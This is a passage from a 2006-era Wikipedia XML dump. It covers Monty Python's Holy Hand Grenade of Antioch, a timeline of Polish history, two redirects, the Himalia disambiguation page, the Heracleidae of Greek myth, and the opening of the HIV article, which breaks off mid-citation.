The fictional Holy Hand Grenade of Antioch is a reference to the &quot;actual&quot; [[Holy Lance|Holy Spear of Antioch]]. The supposed Holy Spear was unearthed from the floor of a Church during the [[Siege of Antioch]] ([[1098]]) by crusaders on the [[First Crusade]], found by a poor and otherwise unknown monk named [[Peter Bartholomew]]. Its &quot;discovery&quot;, during the darkest hours of the siege when all hope seemed lost, quickly became a source of contention between the [[pious]] crusaders who believed Peter, and the more [[pragmatic]] who didn't; yet in the end its &quot;discovery&quot; was credited by the crusaders in inspiring them to overcome seemingly impossible odds in breaking through the siege to continue on their quest to Jerusalem. 

The Holy Hand Grenade of Antioch is also a satire of a type of royal [[regalia]] known as a [[globus cruciger]], specifically the [[Sovereign's Orb]] of the United Kingdom.  The Sovereign's Orb similarly has a band of jewels running along the center, and a half-band on the top hemisphere, with a cruciform at the crest. 

{{spoiler}}
[[Image:1118418304632.jpg|150pix|thumb|right|A &quot;squeeze toy&quot; replica of the Holy Hand Grenade of Antioch]]

The Holy Hand Grenade of Antioch was a &quot;sacred relic&quot; carried by [[Franciscan]] monk Brother Maynard and is used near the film's conclusion to destroy a [[Rabbit of Caerbannog|killer rabbit]] that blocks the path of [[King Arthur]] and his hapless [[knight-errant|Knights Errant]].  Although unusually ornate in design, the Holy Hand Grenade functions like any other [[hand grenade]]. Its destructive power equals that of a medium size explosion.

Particularly important is the counting to three after the pulling of the triggering pin (the surmounted cross), complicated by [[King Arthur]]'s mental block on counting. The instructions for its use are in the fictitious &quot;Book of Armaments&quot; (&quot;Chapter 2, verses 9-21&quot;):
: &quot;And the LORD spake, saying, first shalt thou take out the Holy Pin. Then, shalt thou count to three. No more, no less. Three shall be the number thou shalt count, and the number of the counting shall be three. Four shalt thou not count, nor either count thou two, excepting that thou then proceed to three. Five is right out. Once the number three, being the third number, be reached, is counted, then lobbest thou thy Holy Hand Grenade of Antioch towards thy foe, who, being naughty in My sight, shall snuff it.&quot;
Some other parts of the ritual before using the Holy Hand Grenade are some blessings done beforehand, specifically, other readings from the Book of Armaments, such as &quot;Chapter 4, Verses 16-20&quot;, read before Brother Maynard asks another monk to &quot;skip a bit&quot; to the instructions:
&quot;O Lord, bless this, Thy hand grenade, that with it, Thou mayest blow Thine enemies to tiny bits... in Thy mercy.&quot;

==Cultural references==
[[Image:Worms HolyHandGrenade.jpg|thumb|right|200px|The Holy Hand Grenade, in ''[[Worms (game)|Worms 3D]]'']]
The very name &quot;holy hand grenade&quot; has become a part of popular culture.
* The ''[[Worms (game)|Worms]]'' series of [[computer game]]s features a weapon called the holy hand grenade, which looks rather like the Holy Hand Grenade of Antioch and is distinguished by the fact that unlike the other types of grenade in the game, which have variable-length fuses that can be controlled by the player, it is equipped only with a three-second [[fuse (explosives)|time fuse]] that only starts once the holy hand grenade has come to rest on the ground, in reference to King Arthur's mental block on counting. It's notable that the weapon's explosion is preceded by a chorus singing ''[[Hallelujah]]'' in the style of [[George Frideric Handel|Handel's]] [[Messiah (Handel)|''Messiah'']].
* In the computer game ''[[Fallout 2]]'', the player may, when travelling through the wasteland, come across a cave with a large number of knights near its entrance, one of which asks the player whether he has found the Holy Hand Grenade of Antioch. Inside the cave there is a foul beast, an allusion to the Killer Rabbit.
* Computer RPG [[Moraff's World]] has a holy hand grenade as an instant-kill weapon
* It is in the ''[[Bard's Tale (1985)|Bard's Tale]]'' series of games.
* It is in the 2005 version of the Codex [[Black Templars]] for the [[Miniature wargaming|tabletop miniature wargame]] game of ''[[Warhammer 40,000]]'' It is a item called the Holy Orb of Antioch, which in its rules is a special type of grenade.
* It is in the computer game ''[[Duke Nukem: Time to Kill]]'' as a grenade that bounces and follows the opponent, giving substantial damage when exploding. It has the same design as the Holy Hand Grenade of Antioch.
* It is in the American TV series ''[[Buffy the Vampire Slayer]]''. Grenades containing [[holy water]], designed to combat [[vampire]]s, were called &quot;holy hand grenades&quot;.  This, in turn, spawned the [[Buffy the Vampire Slayer Collectible Card Game|Buffy-themed]] [[trading card game]] where the Holy Hand Grenade is card number 14 in the 1999 series.
* In the [[roleplaying game]] [[Shadowrun]]'s third edition, the generic [[grenade launcher]] from the previous two editions was renamed the Ares Antioch Grenade Launcher.  
* The [[GURPS]] worldbook ''GURPS Camelot'' not only gives full statistics for the Holy Hand Grenade in GURPS terms but also notes its peculiar absence from any Arthurian source other than ''[[Monty Python and the Holy Grail]]''.
* Supervillain [[Mojo Jojo]] of ''[[The Powerpuff Girls]]'' uses the &quot;five is right out&quot; line in one of his speeches.


[[Category:Monty Python and the Holy Grail]]
[[Category:Fictional weapons]]

[[fr:Sainte Grenade d'Antioche]]</text>
    </revision>
  </page>
  <page>
    <title>Timeline of Polish history</title>
    <id>14162</id>
    <revision>
      <id>41397737</id>
      <timestamp>2006-02-27T01:39:26Z</timestamp>
      <contributor>
        <username>Micga</username>
        <id>199971</id>
      </contributor>
      <minor />
      <comment>/* 13th century */</comment>
      <text xml:space="preserve">{{History of Poland}}
'''Timeline of Polish History'''

Dates and most important events in Polish history from prehistoric times
up to the present day.

==10th century==
;  [[966]]                  : [[Baptism of Poland]]
;  [[968]]                  : [[Jordan (bishop of Poland)|Jordan]] becomes the first Polish bishop
;  [[992]]                  : Death of Mieszko I; [[Boleslaus I of Poland|Boleslaus I the Brave]] becomes Duke of Poland
;  [[997]] [[April 23]]     : Martyrdom of St. [[Adalbert of Prague]]

==11th century==
; [[1000]] [[March 15]]     : [[Congress of Gniezno]] concludes
; [[1018]]                  : Signing of the [[Peace of Bautzen]]
; [[1025]] [[April 18]]     : Coronation of Boleslaus I the Brave
;   1025   [[June 17]]      : Death of Boleslaus I the Brave
;   1025   [[December 25]]  : Coronation of [[Mieszko II of Poland|Mieszko II Lambert]]
; [[1034]] [[May 10]]       : Death of Mieszko II Lambert
;   1034-[[1039]]           : People's rebellion and invasion of the Czech prince, Brzetyslav
; [[1076]]                  : Boleslaus II the Generous becomes King of Poland
; [[1079]]                  : Martyrdom of St. [[Stanislaus of Szczepanów]]

==12th century==
; [[1102]]-[[1138]]         : Reign of prince [[Boleslaus III of Poland|Boleslav the Wrymouthed]] (Bolesław Krzywousty)
; [[1106]]-[[1107]]         : War between Boleslav the Wrymouthed and his brother Zbigniew
; [[1138]]                  : Death of Boleslaus III the Wrymouth
; [[1146]]-[[1173]]         : [[Boleslaus IV of Poland|Boleslav the Curly]] is the senior prince in [[Kraków]]
; [[1182]]                  : The first [[Sejm]]

==13th century==
; [[1226]]                  : [[Konrad I of Masovia]] invites the [[Teutonic Knights]] to Prussia
; [[1227]]                  : Assassination of Leszek I the White
; [[1241]] [[April 9]]      : Death of Henry II the Pious in the [[Battle of Legnica]]
; [[1252]]                  : [[Lubusz Land]] lost to [[Brandenburg]]
; [[1264]] [[September 8]]  : Issuance of [[Statute of Kalisz]]
; [[1295]]                  : Coronation of [[Przemysł II of Poland|Przemysł II]] for the king of Poland in Gniezno; shortly after, he is murdered in a bathhouse.

==14th century==
; [[1300]]                  : Coronation of [[Wenceslaus II of Bohemia|Wacław II]], king of Bohemia, as the king of Poland
; [[1305]]                  : Death of Wacław II, his son [[Wenceslaus III of Bohemia|Wacław III]] becomes the king of Poland
; [[1306]] [[August 4]]     : Assassination of Wenceslaus III
; [[1308]]-[[1309]]         : The [[Teutonic Knights]] drive out the Brandenburgians who captured [[Gdańsk]], but hold the city for themselves. Władysław the Elbow High, caught up with the situation in Little Poland, particularly the conspiracy led by Albert, the mayor of [[Kraków]], cannot intervene.
; [[1320]]                  : Coronation of Władysław the Elbow High  and reunion of most of the Polish lands
; [[1327]]-[[1332]]         : War against the Teutonic Order
; [[1333]]                  : Death of Wladislaus I the Elbow-high; [[Casimir III of Poland|Casimir III the Great]] becomes King of Poland
; [[1335]]                  : Congress of [[Visegrád]]
; [[1343]]                  : [[Treaty of Kalisz]]
; [[1364]]                  : Founding of [[Jagiellonian University]]
; [[1370]]                  : Death of Casimir III the Great; [[Louis I of Hungary|Louis of Hungary]] becomes King of Poland
; [[1382]]                  : Death of Louis of Hungary; [[Jadwiga of Poland|Jadwiga]] becomes King of Poland
; [[1385]] [[August 14]]    : Signing of the [[Union of Krewo]]
; [[1386]]                  : [[Wladislaus II of Poland|Wladislaus II Jagiełło]] becomes King of Poland
; [[1387]]                  : Formal christianization of Lithuania
; [[1399]] [[July 17]]      : Death of Jadwiga

==15th century==
; [[1401]]                  : [[Union of Vilnius and Radom]]
; [[1409]]                  : [[Polish-Lithuanian-Teutonic War (1409-1411)|Polish-Lithuanian-Teutonic War]] begins
; [[1410]] [[July 15]]      : Victory at the [[Battle of Grunwald]]
; [[1411]] [[February 1]]   : Signing of the [[Peace of Toruń 1411|Peace of Toruń]] concludes the Polish-Lithuanian-Teutonic War
; [[1413]] [[October 2]]    : Signing of the [[Union of Horodło]]
; [[1432]]                  : Signing of the [[Union of Grodno]]
; [[1434]]                  : Death of Wladislaus II Jagiełło; [[Wladislaus III of Poland|Wladislaus III of Varna]] becomes King of Poland
; [[1444]] [[November 10]]  : Death of Wladislaus III of Varna in the [[Battle of Varna]]
; [[1447]]                  : [[Casimir IV of Poland|Casimir IV the Jagiellonian]] becomes King of Poland
; [[1454]]                  : [[Thirteen Years' War]] begins
;   1454                    : [[Nieszawa Statutes]]
; [[1466]] [[October 19]]   : Signing of the [[Peace of Toruń 1466|Peace of Toruń]] concludes the Thirteen Years' War
; [[1473]]                  : [[Almanach Cracoviense ad annum 1474]] published
; [[1492]]                  : Death of Casimir IV the Jagiellonian; [[John I of Poland|John I Olbracht]] becomes King of Poland
; [[1496]]                  : [[Piotrków Statutes]]
; [[1499]]                  : [[Union of Vilnius]]

==16th century==
; [[1501]]                  : Death of John I Olbracht; [[Alexander of Poland|Alexander the Jagiellonian]] becomes King of Poland
;   1501   [[October 3]]    : [[Union of Mielnik]]
; [[1506]]                  : Death of Alexander the Jagiellonian; [[Sigismund I the Old]] becomes King of Poland
; [[1513]]                  : [[Hortulus Animae, polonice]] published
; [[1525]]                  : [[Prussian Homage]]
; [[1543]]                  : [[De revolutionibus orbium coelestium]] published
; [[1548]]                  : Death of Sigismund I the Old; [[Sigismund II of Poland|Sigismund II Augustus]] becomes King of Poland
; [[1558]]                  : [[Livonian War]] begins
; [[1563]]                  : [[Northern Seven Years' War]] begins
; [[1569]] [[July 1]]       : Signing of the [[Union of Lublin]]
; [[1570]] [[December 13]]  : Signing of the [[Treaty of Stettin]] concludes the Northern Seven Years' War
; [[1572]] [[July 7]]       : Death of Sigismund II Augustus
; [[1573]] [[January 28]]   : Signing of the [[Warsaw Confederation]]
; [[1573]]                  : Election of [[Henry III of France|Henry of Valois]] as King of Poland
; [[1574]] [[June 18]]      : Flight of Henry Valois
; [[1575]] [[December 9]]   : Election of [[Stephen Bathory, King of Poland|Stephen Báthory]]
; [[1576]] [[May 1]]        : Coronation of Stephen Báthory and [[Anna the Jagiellonian]]
; [[1579]]                  : Founding of [[Vilnius University]]
; [[1582]]                  : Signing of the [[Peace of Jam Zapolski]]
; [[1586]] [[December 12]]  : Death of Stephen Báthory
; [[1587]] [[September 18]] : Election of [[Sigismund III of Poland|Sigismund III Vasa]]
;   1587   [[December 27]]  : Coronation of Sigismund III Vasa
; [[1596]]                  : Transfer of capital from [[Kraków]] to [[Warsaw]]
;   1596                    : [[Union of Brest]] concludes
;   1596   [[September 9]]  : Death of Anna the Jagiellonian

==17th century==
; [[1605]]                  : [[Polish-Muscovite War (1605-1618)|Polish-Muscovite War]] begins
; [[1618]]                  : Signing of the [[Truce of Deulino]] concludes the Polish-Muscovite War
; [[1620]]                  : War with the [[Ottoman Empire]]
; [[1632]]                  : Death of Sigismund III Vasa; [[Wladislaus IV of Poland|Wladislaus IV Vasa]] becomes King of Poland
;   1632                    : [[Smolensk War]] begins
; [[1633]] [[February 6]]   : Coronation of Wladislaus IV Vasa
;   1633                    : [[Polish-Ottoman War (1633-1634)|Polish-Ottoman War]] begins
; [[1634]]                  : Signing of the [[Treaty of Polanów]] concludes the Smolensk War
;   1634                    : Polish-Ottoman War ends
; [[1648]] [[May 20]]       : Death of Wladislaus IV Vasa
;   1648                    : [[Chmielnicki Uprising]] begins
; [[1651]] [[September 28]] : Signing of the [[Treaty of Bila Tserkva]]
;   1654                    : Chmielnicki Uprising ends
; [[1655]]-[[1660]]         : Invasion of Poland by the Army of [[Charles X of Sweden]] in the [[Northern Wars]], known in Poland as &quot;[[the Deluge]]&quot;
;   1655                    : Signing of the [[Union of Kėdainiai]]
; [[1657]] [[September 9]]  : Signing of the [[Treaty of Welawa]]
;   1657   [[November 6]]   : Signing of the [[Treaty of Bydgoszcz]]
; [[1658]] [[September 16]] : Signing of the [[Treaty of Hadiach]]
; [[1660]]                  : Signing of the [[Treaty of Oliwa]]
; [[1667]] [[January 30]]   : Signing of the [[Treaty of Andrusovo]]
; [[1668]] [[September 16]] : Abdication of John II Casimir
; [[1669]] [[June 19]]      : Election of [[Michał Wiśniowiecki, King of Poland|Michał Korybut Wiśniowiecki]]
;   1669   [[September 29]] : Coronation of Michał Korybut Wiśniowiecki
; [[1673]] [[November 10]]  : Death of Michał Korybut Wiśniowiecki
; [[1674]] [[May 21]]       : Election of [[John III Sobieski, King of Poland|John III Sobieski]]
; [[1676]] [[February 2]]   : Coronation of John III Sobieski
; [[1683]] [[September 12]] : Victory at the [[Battle of Vienna]]
; [[1686]]                  : Signing of the [[Eternal Peace Treaty of 1686|Eternal Peace Treaty]]
; [[1696]] [[June 17]]      : Death of [[John III Sobieski, King of Poland|John III Sobieski]]
; [[1697]]                  : [[Augustus II of Poland|Augustus II the Strong]] becomes King of Poland
; [[1699]] [[January 26]]   : Signing of the [[Treaty of Karlowitz]] concludes the [[Great Turkish War]]

==18th century==
; [[1706]] [[September 24]] : Signing of the [[Treaty of Altranstadt]]
; [[1717]] [[February 1]]   : [[Silent Sejm]]
; [[1733]] [[February 1]]   : Death of Augustus II the Strong
; [[1763]] [[October 5]]    : Death of [[Augustus III of Poland|Augustus III]]
; [[1764]] [[September 7]]  : Election of [[Stanislaus II Augustus Poniatowski, King of Poland|Stanislaus II Augustus Poniatowski]]
;   1764   [[November 25]]  : Coronation of Stanislaus II Augustus Poniatowski
; [[1768]] [[February 29]]  : Signing of the [[Bar Confederation]]
;   1768                    : [[Koliyivschyna]]
;   1768                    : [[Massacre of Uman]]
; [[1772]]                  : [[First Partition of Poland]]
; [[1773]] [[October 14]]   : Creation of [[Komisja Edukacji Narodowej|Commission of National Education]]
; [[1788]]                  : Inauguration of the [[Sejm Wielki|Great Sejm]]
; [[1791]] [[May 3]]        : Adoption of [[Polish Constitution of May 3, 1791|Constitution of May 3]]
; [[1792]] [[May 14]]       : Signing of [[Targowica Confederation]]
;   1792                    : [[War in Defense of the Constitution]]
; [[1793]]                  : [[Second Partition of Poland]]
; [[1794]]                  : [[Kościuszko Uprising]]
;   1794                    : [[Greater Poland Uprising of 1794|Greater Poland Uprising]]
; [[1795]]                  : [[Third Partition of Poland]]
;   1795   [[November 25]]  : Abdication of Stanislaus II Augustus Poniatowski

==19th century==
; [[1806]]                  : [[Greater Poland Uprising 1806|Greater Poland Uprising]]
; [[1807]] [[July 9]]       : Signing of the second [[Treaties of Tilsit|Treaty of Tilsit]]
; [[1809]] [[October 14]]   : Signing of the [[Treaty of Schönbrunn]]
; [[1813]]                  : Poland is occupied by Russian troops, bringing the Duchy to an end
; [[1815]] [[June 9]]       : [[Congress of Vienna]] concludes
;   1815   [[October 18]]   : [[Free City of Kraków]] proclaimed
; [[1830]] [[November 29]]  : [[November Uprising]] begins
; [[1832]] [[February 26]]  : Russian-occupied Poland is stripped of its separate administration
; [[1846]] [[February 19]]  : [[Kraków Uprising]] begins
;   1846   [[March 4]]      : Kraków Uprising ends
;   1846   [[November 16]]  : Free City of Kraków incorporated into the [[Austrian Empire]]
; [[1848]]                  : [[Greater Poland Uprising of 1848|Greater Poland Uprising]]
; [[1863]] [[January 22]]   : [[January Uprising]] begins

==20th century==
; [[1916]] [[November 5]]   : Signing of the [[Act of November 5th]]
; [[1918]] [[March 3]]      : Signing of the [[Treaty of Brest-Litovsk]]
;   1918   [[November 11]]  : Poland regains independence
;   1918   [[December 27]]  : [[Greater Poland Uprising]] begins
; [[1919]] [[February 14]]  : [[Polish-Bolshevik War]] begins
;   1919   [[August 16]]    : [[First Silesian Uprising]] begins
; [[1920]] [[February 10]]  : [[Poland's Betrothal with the Sea]]
;   1920   [[August 19]]    : [[Second Silesian Uprising]] begins
;   1920   [[August 25]]    : Victory at the [[Battle of Warsaw (1920)|Battle of Warsaw]]
; [[1921]] [[March 17]]     : Adoption of [[March Constitution of Poland|March Constitution]]
;   1921   [[March 18]]     : Signing of the [[Peace of Riga]] concludes the Polish-Bolshevik War
;   1921   [[May 2]]        : [[Third Silesian Uprising]] begins
; [[1922]] [[December 9]]   : [[Gabriel Narutowicz]] becomes the first President
;   1922   [[December 16]]  : Assassination of Gabriel Narutowicz
; [[1925]] [[December 1]]   : Signing of the [[Locarno Treaties]]
; [[1926]] [[May 14]]       : [[May Coup]] concludes
; [[1935]] [[April 23]]     : Adoption of [[Polish Constitution of 1935|April Constitution]]
;   1935   [[May 12]]       : Death of Józef Piłsudski
; [[1939]] [[August 23]]    : Signing of the [[Molotov-Ribbentrop Pact]]
;   1939   [[September 1]]  : Beginning of [[World War II]] with the German invasion of Poland
;   1939   [[September 17]] : Invasion of Poland by the Soviet Union
;   1939   [[September 18]] : [[Orzeł incident]]
; [[1940]] [[March 5]]      : Authorization of [[Katyń massacre]]
;   1940   [[May 16]]       : Authorization of [[AB Action]]
; [[1941]] [[August 17]]    : Signing of the [[Sikorski-Mayski Agreement]]
; [[1943]] [[July 4]]       : Death of [[Władysław Sikorski]]
;   1943   [[December 1]]   : [[Tehran Conference]] concludes
;   1943   [[April 19]]     : [[Warsaw Ghetto Uprising]] begins
;   1943   [[May 16]]       : Warsaw Ghetto Uprising ends
; [[1944]] [[January 29]]   : [[Koniuchy massacre]]
;   1944   [[July 22]]      : Proclamation of the [[PKWN Manifesto]]
;   1944   [[August 1]]     : [[Warsaw Uprising]] begins
;   1944   [[October 2]]    : Warsaw Uprising ends
; [[1945]] [[February 11]]  : [[Yalta Conference]] concludes
;   1945   [[August 2]]     : [[Potsdam Conference]] concludes
; [[1946]] [[June 30]]      : [[Polish people's referendum, 1946|Polish people's referendum]]
; [[1955]] [[May 14]]       : Signing of the [[Warsaw Pact]]
; [[1956]] [[June 28]]      : [[Poznań 1956 protests]] begin
; [[1968]] [[August 20]]    : End of [[Prague Spring]] with the invasion of [[Czechoslovakia]]
; [[1970]] [[December 7]]   : Signing of [[Treaty of Warsaw (1970)|Treaty of Warsaw]]
;   1970   [[December 14]]  : [[Polish 1970 protests|1970 protests]] begin
; [[1978]] [[October 16]]   : [[Pope John Paul II|John Paul II]] becomes the first Polish pope
; [[1981]] [[December 13]]  : Introduction of [[Martial law in Poland|martial law]]
; [[1983]] [[July 22]]      : Lifting of martial law
; [[1989]] [[April 4]]      : Signing of the [[Polish Round Table Agreement|Round Table Agreement]]
;   1989   [[June 4]]       : Victory of Solidarity in [[Polish parliamentary election, 1989|parliamentary election]]
;   1989   [[July 19]]      : [[Wojciech Jaruzelski]] becomes President
;   1989   [[December 31]]  : The [[People's Republic of Poland]] becomes the [[Republic of Poland]]
; [[1990]] [[December 22]]  : [[Lech Wałęsa]] becomes President
; [[1991]] [[July 1]]       : Dissolution of Warsaw Pact
; [[1995]] [[December 23]]  : [[Aleksander Kwaśniewski]] becomes President
; [[1997]] [[April 2]]      : Adoption of [[Constitution of Poland|Constitution]]
; [[1999]] [[March 12]]     : Accession of Poland to [[NATO]]

==21st century==
; [[2003]] [[April 16]]     : Signing of the [[Treaty of Accession 2003|Treaty of Accession]]
; [[2004]] [[May 1]]        : Accession of Poland to the [[European Union]]
; [[2005]] [[April 2]]      : Death of John Paul II
;   2005   [[December 23]]  : [[Lech Kaczyński]] becomes President

==See also==
* [[List of timelines]]

[[Category:History of Poland| ]]
[[Category:Nation timelines|Poland]]

[[fr:Histoire chronologique de la Pologne]]</text>
    </revision>
  </page>
  <page>
    <title>Hamitic languages</title>
    <id>14163</id>
    <revision>
      <id>15911736</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Afro-Asiatic languages]]</text>
    </revision>
  </page>
  <page>
    <title>H-R diagram</title>
    <id>14167</id>
    <revision>
      <id>15911740</id>
      <timestamp>2003-07-21T13:18:55Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Hertzsprung-Russell diagram]]</text>
    </revision>
  </page>
  <page>
    <title>Himalia</title>
    <id>14168</id>
    <revision>
      <id>28912657</id>
      <timestamp>2005-11-21T15:49:40Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <text xml:space="preserve">'''Himalia''' can refer to:
*[[Himalia (moon)|Himalia]] is a [[natural satellite|moon]] of [[Jupiter (planet)|Jupiter]].
*In [[Greek mythology]], '''Himalia''' was a [[nymph]] from [[Cyprus]] who had three sons with [[Zeus]]. They included [[Cronius]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Heracleidae</title>
    <id>14169</id>
    <revision>
      <id>31869031</id>
      <timestamp>2005-12-18T18:33:06Z</timestamp>
      <contributor>
        <ip>72.240.150.124</ip>
      </contributor>
      <text xml:space="preserve">'''Heracleidae''', the general name for the numerous descendants of [[Heracles]] (Hercules), and specially applied in a narrower sense to the descendants of [[Hyllus]], the eldest of his four sons by [[Deianira]], the conquerors of [[Peloponnesus]]. Hyllus was also sometimes thought of as a son of [[Melite]] with Heracles.

Heracles, whom [[Zeus]] had originally intended to be ruler of [[Argos]], [[Lacedaemon]] and Messenian [[Pylos]], had been supplanted by the cunning of [[Hera]], and his intended possessions had fallen into the hands of [[Eurystheus]], king of [[Mycenae]]. After the death of [[Heracles]], his children, after many wanderings, found refuge from [[Eurystheus]] at [[Athens, Greece|Athens]]. Eurystheus, on his demand for their surrender being refused, attacked Athens, but was defeated and slain. Hyllus and his brothers then invaded Peloponnesus, but after a year's stay were forced by a pestilence to quit. They withdrew to [[Thessaly]], where [[Aegimius]], the mythical ancestor of the [[Dorians]], whom Heracles had assisted in war against the [[Lapiths|Lapithae]], adopted Hyllus and made over to him a third part of his territory. After the death of [[Aegimius]], his two sons, [[Pamphilus (mythology)|Pamphilus]] and [[Dymas]], voluntarily submitted to Hyllus (who was, according to the Donian tradition in [[Herodotus]] V. 72, really an [[Achaea|Achaean]]), who thus became ruler of the Dorians, the three branches of that race being named after these three heroes. Being desirous of reconquening his paternal inheritance, Hyllus consulted the [[Delphi|Delphic oracle]], which told him to wait for &quot;the third fruit,&quot; and then enter Peloponnesus by &quot;a narrow passage by sea.&quot;

Accordingly, after three years, [[Hyllus]] marched across the [[isthmus]] of [[Corinth, Greece|Corinth]] to attack [[Atreus]], the successor of [[Eurystheus]], but was slain in single combat by [[Echemus]], king of [[Tegea]]. This second attempt was followed by a third under [[Cleodaeus]] and a fourth under [[Aristomachus]], both of which were equally unsuccessful. At last, [[Temenus]], [[Cresphontes]] and [[Aristodemus]], the sons of Aristomachus, complained to the oracle that its instructions had proved fatal to those who had followed them. They received the answer that by the &quot;third fruit&quot; the &quot;third generation&quot; was meant, and that the &quot;narrow passage&quot; was not the isthmus of Corinth, but the straits of [[Rhium]]. They accordingly built a fleet at [[Naupactus]], but before they set sail, [[Aristodemus]] was struck by lightning (or shot by [[Apollo (god)|Apollo]]) and the fleet destroyed, because one of the Heracleidae had slain an Acarnanian soothsayer. The oracle, being again consulted by [[Temenus]], bade him offer an expiatory sacrifice and banish the murderer for ten years, and look out for a man with three eyes to act as guide. On his way back to [[Naupactus]], [[Temenus]] fell in with [[Oxylus]], an Aetolian, who had lost one eye, riding on a horse (thus making up the three eyes) and immediately pressed him into his service. According to another account, a mule on which Oxylus rode had lost an eye. The Heracidae repaired their ships, sailed from [[Naupactus]] to [[Antirrhium]], and thence to [[Rhium]] in [[Peloponnesus]]. A decisive, battle was fought with [[Tisamenus]], son of [[Orestes (mythology)|Orestes]], the chief ruler in the peninsula, who was defeated and slain. The Heracleidae, who thus became practically masters of Peloponnesus, proceeded to distribute its territory among themselves by lot. [[Argos]] fell to [[Temenus]], [[Lacedaemon]] to [[Procles]] and [[Eurysthenes]], the twin sons of [[Aristodemus]]; and [[Messene]] to [[Cresphontes]]. The fertile district of [[Elis]] had been reserved by agreement for [[Oxylus]]. The Heracleidae ruled in [[Lacedaemon]] till [[221 BC]], but disappeared much earlier in the other countries. This conquest of [[Peloponnesus]] by the Dorians, commonly called the &quot;Return of the Heraclidae,&quot; is represented as the recovery by the descendants of Heracles of the rightful inheritance of their hero ancestor and his sons. The Dorians followed the custom of other Greek tribes in claiming as ancestor for their ruling families one of the legendary heroes, but the traditions must not on that account be regarded as entirely mythical. They represent a joint invasion of Peloponnesus by Aetolians and Dorians, the latter having been driven southward from their original northern home under pressure from the Thessalians. It is noticeable that there is no mention of these Heraclidae or their invasion in [[Homer]] or [[Hesiod]]. [[Herodotus]] (vi. 52) speaks of poets who had celebrated their deeds, but these were limited to events immediately succeeding the death of [[Heracles]]. The story was first amplified by the Greek tragedians, who probably drew their inspiration from local legends, which glorified the services rendered by Athens to the rulers of Peloponnesus.


The Heracleidae also included [[Macaria]], [[Lamos]], [[Manto (Greek mythology)|Manto]], [[Bianor]], [[Tlepolemus]], and [[Telephus]].

[[Euripides]] wrote a play called ''[[Heracleidae (play)|Heracleidae]]''.  In it, Macaria and her brothers and sisters hid from [[Eursytheus]] in [[Athens, Greece|Athens]], ruled by King [[Demophon]]. As Eurystheus prepared to attack, an [[oracle]] told Demophon that he would win if and only if a noble woman was sacrificed to [[Persephone]]. Macaria volunteered for the sacrifice and a spring was named the [[Macarian spring]] in her honor.

== Sources ==

* [[Apollodorus]] ii. 8
* [[Diodorus Siculus]] iv. 57, 58
* [[Pausanias (geographer)|Pausanias]] i. 32, 41, ii. 13, 18, iii. I, iv. 3, v. 3
* [[Euripides]], ''[[Heracleidae (play)|Heracleidae]]''
* [[Pindar]], ''[[Pythia]],'' ix. 137
* [[Herodotus]] ix. 27
* [[Otfried Müller|Müller]]'s ''Dorians,'' I. ch. 3
* [[Thirlwail]], ''History of Greece,'' ch. vii
* [[Grote]], ''History of Greece,'' pt. i. ch. xviii
* [[Busolt]], ''Griechische Geschichte,'' i. ch. ii. sec. 7, where a list of modern authorities is given

{{1911}}

[[Category:Greek mythology]]

[[de:Herakleiden]]
[[fr:Héraclides]]</text>
    </revision>
  </page>
  <page>
    <title>HIV</title>
    <id>14170</id>
    <revision>
      <id>41996332</id>
      <timestamp>2006-03-03T02:52:52Z</timestamp>
      <contributor>
        <username>Emre D.</username>
        <id>665265</id>
      </contributor>
      <minor />
      <comment>Revert to revision 41947155 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Taxobox_begin | color = violet | name = ''Human immunodeficiency virus''}}
{{Taxobox_image | image = [[Image:Aids virus.jpg]] | caption = Stylized rendering of a cross section&lt;br/&gt; of the human immunodeficiency virus}}
{{Taxobox_begin_placement_virus}}
{{Taxobox_group_vi_entry}}
{{Taxobox_familia_entry | taxon = ''[[Retroviridae]]''}}
{{Taxobox_genus_entry | taxon = ''[[Lentivirus]]''}}
{{Taxobox_species_entry | taxon = '''''Human immunodeficiency virus 1'''''}}
{{Taxobox_species_entry | taxon = '''''Human immunodeficiency virus 2'''''}}
{{Taxobox_end_placement}}
{{Taxobox_end}}
{{DiseaseDisorder infobox |
  Name        = International Statistical Classification of Diseases and Related Health Problems Codes |
  ICD10       = B20-B24 |
  ICD9        = {{ICD9|042}}-{{ICD9|044}} |
}}

'''Human immunodeficiency virus''', commonly known by the [[acronym and initialism|initialism]] '''HIV''', formerly known as '''HTLV-III''' and '''lymphadenopathy-associated virus''', is a [[retrovirus]] that primarily infects vital components of the [[human]] [[immune system]] such as [[Helper T cell|CD4+ T cells]], [[macrophages]] and [[dendritic cells]]. It also directly and indirectly destroys CD4+ T cells. As CD4+ T cells are required for the proper functioning of the immune system, when enough CD4+ T cells have been destroyed by HIV, the immune system functions poorly, leading to the syndrome known as [[AIDS]]. HIV also directly attacks [[Organ (anatomy)|organs]], such as the [[kidney]]s, the [[heart]] and the [[brain]] leading to [[acute renal failure]], [[cardiomyopathy]], [[dementia]] and [[encephalopathy]]. Many of the problems faced by people infected with HIV result from failure of the immune system to protect from [[opportunistic infection]]s and [[cancer]]s.

HIV is transmitted through direct contact of a [[mucous membrane]] with a [[bodily fluid]] containing HIV, such as [[blood]], [[semen]], [[vaginal fluid]], [[preseminal fluid]] or [[breast milk]]. This transmission can come in the form of: penetrative ([[anal sex|anal]] or [[vaginal sex|vaginal]]) [[sex]]; [[oral sex]]; [[blood transfusion]]; contaminated needles; exchange between mother and infant during [[pregnancy]], [[childbirth]], or [[breastfeeding]]; or other exposure to one of the above bodily fluids.

AIDS is thought to have originated in [[sub-Saharan Africa]] during the [[twentieth century]] &lt;ref name=Gao&gt;

{{cite journal 
| author=Gao, F., Bailes, E., Robertson, D. L., Chen, Y., Rodenburg, C. M., Michael, S. F., Cummins, L. B., Arthur, L. O., Peeters, M., Shaw, G. M., Sharp, P. M. and Hahn, B. H. | title=Origin of HIV-1 in the Chimpanzee Pan troglodytes troglodytes | journal=Nature | year=1999 | pages=436-441 | volume=397 | issue=6718 | id={{PMID |9989410}}

